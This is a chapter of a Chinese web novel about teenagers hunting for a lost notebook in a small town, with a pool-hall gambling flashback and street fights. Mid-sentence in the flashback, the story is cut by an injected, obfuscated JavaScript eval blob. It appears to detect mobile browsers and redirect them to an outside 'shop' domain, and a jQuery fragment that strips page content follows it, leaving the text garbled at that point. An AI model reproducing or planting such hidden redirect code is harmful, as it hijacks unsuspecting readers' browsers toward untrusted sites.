9. 报复
作品:《滞后效应》 桑南,夹在汉城和江城的交界的一个小县城,像是一块补丁连接着两个大城市。
俗话说橘生淮南则为橘,橘生淮北则为枳。
而桑南这个地方很奇妙,就像永远不遵循常规的叛逆少年。
这里既能种植南方的橘子,也能种北方的苹果。
能种水稻,也能种小麦。
桑南很小,总面积不过一千平方,街道都是一些挨挨挤挤门面窄小的铺面,最高的也不过三层,屋檐垂下招牌几乎要擦过行人的头顶。
叶雨时穿着合脚的新鞋,走路都轻快了不少。
路明怀里抱着一摞寻物启事蹲在墙角接电话,有一下没一下的应着,“不是……是绿色……是皮的,牛皮的,不是牛皮纸……”说到最后也讲不通,他把电话拿远了一些,“信号不好挂了。”
他有些蔫,“感觉这样没什么用呢?这几天我电话天天烫手,没一个有用的信息。”
“只在这一个地方贴作用也不大?万一在别的地方呢?我们回去江城也到处贴一贴怎么样?”路明絮絮叨叨说着,偷偷瞄了一眼陈野,语气带着几分不确定,像是在试探。
陈野似乎根本没听,修长的手指微微用力,手中的刷子在墙上顿了一下。
路明:“要不我们去庙里拜拜。”
陈野看傻子一样的目光睨了路明一眼,“有病赶紧治。”
路明摸了摸鼻子,尴尬的嘿嘿笑了两声。
“说不定有用呢。”叶雨时从路明怀里抽出一张寻物启事张纸贴在陈野刷好胶水的地方。
陈野:“也去看看脑子。”
叶雨时跟路明心照不宣的陈野身后相互投去一个认可又相互同情的目光。
陈野一回头,二人又恢复若无其事的模样。
路明依旧老老实实抱着那一摞寻物启事。
叶雨时械性贴上。
三个人分工明确。
到了中午那一摞纸已经寥寥无几,路明活动了下胳膊,“吃饭去吧,有点饿了。”
叶雨时拍了拍手,抬眼扫了扫四周,目光落在前方不远处的小许面馆,“就去那家吧。”
正是饭点,巴掌大的面馆挤的满满当当,连个落脚的缝都没有,光头老板瞧见门口的三人,扯开嗓门先是笑了两声,“今天人多,要不等一会,着急的话就打包。”
见三人没立刻回答,光头老板已经熟练的拿出三个红色塑料凳子,用抹布擦了擦放在店门口旁边的空地上,“先坐先坐。”
叶雨时懒得再走,抬眼看了看墙上有些褪色的菜单,“我要一碗清汤面,加鸡腿。”
说完转身看向二人,“你们吃什么?”
“三碗。”陈野说完站在店外等着。
路明:……
吃饱就行。
叶雨时手里拿着剩下的几张寻物启事铺塑料凳子上,大喇喇地坐下。
三个人就这么捧着面碗,看着马路上来往的车流吃面。
陈野并没有什么胃口,鸡腿一口都没动,吃了几口面就放下了,起身去面馆付钱。
路明眼疾手快伸出筷子把陈野碗里鸡腿夹走。
叶雨时头发散着,一低头吃面长发就顺着脸侧滑了下来。
她有些不耐的啧了一声,去面馆抽了根一次性筷子将头发挽了起来。
发尾还有几绺不听话的垂在颈侧,随着她低头的动作在脖颈来回划过。
捧着碗吹汤面的葱花,趁着气流卷着葱花飘向碗边的空档,迅速喝下一口。
陈野不知什么从面馆出来的,盯着她的动作,看的好笑。
叶雨时抬起头,鼻尖被热气熏染了点细密的汗珠,咽下口汤,“笑什么,头发很乱吗?”
她下意思抬手去摸那根“发簪”。
“不乱不乱,哪里乱了,这不是很好看。”路明掏出手机咔嚓一张。
递到叶雨时面前展示。
陈野看着二人几乎要凑在一起的脑袋,把路明叫了起来,“你慢慢吃,我们先去复印店。”上午印的那些已经贴完了,还得再印一些。
叶雨时应了一声,看着二人的渐渐走远。
转身进去面馆要了一个打包袋,将碗里的鸡腿还有一些面条装了起来,朝着相反的方向走进那条杂乱的巷子。
“九耳?”
“九耳?”这是她给那只小狗取的名字,叫了两遍它就记住了。
角落的一团杂物中探出一个脑袋,眼睛滴溜溜转着,看到来人,一下子窜了出来,围着叶雨时脚边热络地转来转去。
叶雨时将袋子的鸡腿拿出来,忍不住用手指戳了戳九耳那圆滚滚的肚子,“你真聪明,你主人还没找到你吗?你是不是偷吃了,肚子这么圆。”
“轰隆隆……”
巷子口远远传来一阵咆哮的声响。
一抹金色强势闯入视线。
“喂。疯狗。”紧接着就是一阵嘲笑。
摩托车一个扫尾带起尘土扬起一个弧形,挑衅一般停在陈野面前。
后座又下来一个身形稍瘦的少年。
又是那两个人。
路明下意识目光朝着陈野看去,不甘示弱地调侃回去,“呦,金毛……狮王。”
气氛剑拔弩张。
“噗嗤。”
诡异的气氛不知谁笑了一声,瞬间吸引了所有人的目光。
路明就那么呆呆的迎接着几个人的目光,他没想笑的,只是这人脖子还围着一条红色美式三角巾,他就想到金毛狗张大的嘴巴伸着长长的舌头哈赤哈赤的模样,这谁能忍得住不笑。
“妈的,你找死。”金毛火气瞬间上来,声音带着一股子狠厉,伸手想去揪路明的衣领。
后面那个跟班,手里拿着一根钢管,有一下没一下的敲在掌心,威胁不言而喻。
陈野一向不屑与这种人计较,但是要是惹了他,那就另说。
他沉默着先一步伸出手攥紧了金毛的手腕,力道大到将金毛的手背握得青紫。
金毛见他不说话,这不纯纯赤裸裸的挑衅,怒意更盛。
金毛原名汤聪白,跟他在他身边的那个人叫温藜芦。
第一次遇见陈野是在台球厅。
汤聪白打小就在这片子就四处混,到这的生人还是熟客一眼就能出来。
也不知道谁家的少爷跑出来闲玩,一副生人勿进的模样,身上还带着青涩的少年气,个子很高,人也清瘦,跟台球厅那些染着五颜六色的头发,穿着叮叮当当的那群人格格不入。
他身上的衣服一看就很很贵,跟自己这帮人身上印着低劣的仿制大牌logo穿几次就会变形的衣服完全不是一个档次。
本来烟熏雾绕被脏话嬉笑充斥的台球厅因为一个生客到来瞬间安静,他身上散发着一种谁都不放在眼里的桀骜。大家都不约而同停了下来看着这个人走进来,像是看到一个人侵入者闯进了自己的领地一般戒备,目光带着些许戏谑和好奇。
汤葱白嚣张惯了,在一帮子小混混里说得上几句话,大家都恭维尊他为“白哥”。
这样一位攻击性强的少年到让汤聪白有一种领地即将被侵占的危机感,他必须做点什么来证明自己地位的牢固,继续享受那些人对他的恭维和臣服。
也顺便这位少爷身上讹点钱,给他点教训。
于是故技重施激陈野赌球。
汤葱白打的一手好台球,在桑南这一片几乎没人能打得过他。
他笃定这次能赢一把大的,顺便踩一踩这个外来客给自己长面子。
“一个人?要不要一起玩?”
陈野完全没有要搭理的意思,径直走到前台开好的台球桌。
金毛被下了面子也不恼,继续挑衅,“玩不起,怕输?我让你两个球,敢不敢赌?”
此时陈野才舍得掀起眼皮看了金毛一眼,似打量似审视又似不屑,反将回去,“我让你两个球。”
他拿出身上的手机,推向台球桌中心。
是一部黑色的苹果6p。
汤葱白他们这帮人都没什么钱,他自己那部充牌面的仿制苹果手机在口袋沉沉坠着。
一部将近八千的手机成了最大的诱饵,将台球厅紧张的气氛再次堆高。
他掩下眼底的欲望,假装不在意轻嗤了一声。
“呜呼,白哥,干他,小子挺狂。”一帮人起哄,站在金毛身后颇有架势。
陈野仿佛一切在他眼里都不值一提,他也没让金毛一定拿出东西来来押注。这般散漫的姿态,在汤葱白眼里成了最大的挑衅和嘲讽。
“我要是输了,叫你一声爷爷。”汤葱白说地很傲气,周围人吹起了口哨将这场较量拉开帷幕。
“桑南是个好地方,会保佑你不会输的太难看。”汤葱白拿起手机看了下确认不是模型,仿佛已经是自己的囊中之物,反手交给温藜芦。
陈野淡漠地打量他,像是看路边的垃圾。
一场众人以为志在必得的比赛,让金毛第一次输的一败涂地,他连出手的机会都没有。
一杆清台。
“砰”
“砰”
“砰”
空气寂静,只余留下众人鼓雷般的心跳。
自尊,面子,好胜心,唯一依仗的台球技术在这么多兄弟面前被别人踩的稀碎,内心那股子羞愤喷涌而出,白色球还在台球桌上徘徊,最后滚在汤聪白面前停下,球上的红点正对着他,像是小丑的红鼻子,似乎也在嘲笑他刚刚的嚣张有多滑稽。
陈野收起球杆十分嫌弃似的两指拈着手机从温藜芦手中抽出,嘴角挂着一抹张扬的弧度,“孙子,桑南确实是个好地方。”
“艹你大爷。”汤聪白随手拿起一个台球朝着陈野砸去。
“嘭。”
微微偏头,台球落在身后,滚向角落。
陈野戏谑看着他狗急跳墙的模样,“玩不起?”
叫嚣声咒骂声声响起,人影窜动。
台球厅一片混乱。
打红了眼,那些人也不管三七二十一随手操起台球杆就上。
最后台球厅老板怕闹得不可收拾报了警,一帮人一哄而散。
一敌多,陈野没占到便宜,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993108|193817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没吃太多亏。
二人的梁子就是在那时结下的。
.
叶雨时喂完九耳转身会和陈野他们去会和。
刚拐过街角,就听到嘈杂的人声混着闷沉的击打声,远远望去,依稀透过人群的缝隙看到几个人扭打在一起。
那手臂挥舞的动作干脆又很戾,带着骨熟悉的野劲。
拳头锤在肉./体的闷响,隔着几米远都震的耳膜发紧。
那群围堵他的人,头发染的黄黄绿绿,歪歪扭扭地站成一排挡着里圈的动静。
有路过的行人忍不住好奇地瞥两眼两眼,刚对上视线,就被凶神恶煞的一句“少管闲事”呵斥地慌忙移开目光。
“哎呦呦,都是血,要出人命咯。”有人远远站着小声嘀咕。
“赶紧报警赶紧报警。”又有人附和,却没真的掏出手机。
“得去拉架啊,这怎么了得。”
“谁敢去啊,被误伤开瓢了找谁说理去。”
叶雨时皱紧眉毛,拨开看热闹的人往里挤。
是陈野。
他伏在汤聪白身上,动作带起凛冽的风声,手背骨节都磨破带血。
汤聪白脸上青紫,嘴还不干不净地骂着什么。
温藜芦和其他几人抬脚朝着陈野背上踹。
陈野却像毫无知觉一般,脊背绷的像张拉满的弓,丝毫没有松手的意思。
路明死命抱着温藜芦的腰往后拖,时不时鸡贼的给人暗地里补几拳。
陈野脑子一片空白,耳朵仿佛被浸在水里,周遭的声音变的模糊,只剩下胸腔疯狂燃烧的戾气。
“警察来了。”
清脆的女声音穿透嘈杂的人群。
紧接着那群混混骂骂咧咧骑着摩托车带着破风的轰鸣远去,人群四散开来。
巷子口霎时空旷下来,只剩下满地狼藉的废纸。
汤聪白骑摩托带着温藜芦一路拐进去破旧的城边村的联排红砖瓦房,摇摇欲坠的房子仿佛一阵风就能吹的零散。
其中一间刷着红漆的木门在一排瓦房子里格外显眼,门上的春联还完整着。
二人脸上都挂了彩,温藜芦的嘴角破了皮,脸颊带着淤青,从口袋拿出一张纸递过去,“他们在找这个。”
汤聪白看了那张寻物启事两眼,手上的血和泥污混在一起,在纸上留下暗色的指印,他知道温藜芦不会无缘无故说这个,直接就问,“什么主意。”
温藜芦笑了,扯到受伤的嘴角不禁嘶了一声。
“咚咚咚”
是木棍在敲打地面,沉闷又规律。
紧接红漆木门内传出一个苍老的声音,“小辉回来了?”
.
陈野坐在沙发一动不动,半垂着眼睛,额前的碎发带着湿意,眉眼间残留着沉寂的戾气。
空气安静的能听到衣物的摩擦声。
好半晌他才抬起眼,漆黑的眸子沉沉地盯着叶雨时。
“不害怕?”
叶雨时正低头给他擦药,动作轻的像是怕惊扰了什么,听着陈野莫名奇妙的话不禁皱眉,手上的动作却没停,“怕什么?怕你吗?你又不打我。”
碘伏的凉意在手背上蔓延开来,陈野扯了扯嘴角,发出一声极轻的讥笑。
目光落下,停在她的发间那根被当做发簪的一次性筷子上。
很粗糙,上面还带着毛刺。
在她的头发上显得很突兀。
棉签蘸着碘伏一点点在伤口涂抹,她还会习惯性的吹一下伤口,仿佛这样就能把疼痛吹散似的。
温热的呼吸细密地洒在手背,那点温度顺着手臂一路攀到脊背,这股子异样感让他下意识地就绷紧了身体,指尖也微微蜷缩了一下。
“疼?”叶雨时仰头问他。
陈野喉结动了动,习惯性就想吐出“不疼”两个字,话到了嘴边,对上那双清澈的眼睛,里面映着他此刻的狼狈模样,心口仿佛是被什么纠了一下,带着点说不清道不明的酸胀。
烦躁。
他想起了沈纪然,或许准确地来说,是未来的闻停。
那个名字像一根细针轻轻一扎,就搅和地他心神不宁。
那个人受伤的时候她也是这么关心他吗?
也会像现在这样,小心翼翼的给那个人擦伤口,也会吹一吹吗?
她……他……
她们……
纷乱的念头像野草一样疯长,越想心里的憋闷就越重,那点别扭的情绪无处可解,他抿紧唇,僵硬地挤出两个字,“废话。”
“就不能好好说话?”叶雨时被他着态度噎了一下,报复性的把棉签往他伤口上轻按了一下,“疼死你。”
陈野垂着眼看着她气鼓鼓的样子,心里那点翻涌的烦躁竟然奇异的散了些。
只是那些心里说不清道不明的酸胀却像是沉在水底的石子,表面波澜不惊,深处却被沉甸甸地压着。
“砰”
房门被推开。
“有消息了,靠谱。”路明火急火燎闯进来,一手扬着手机,“本子有消息了。”

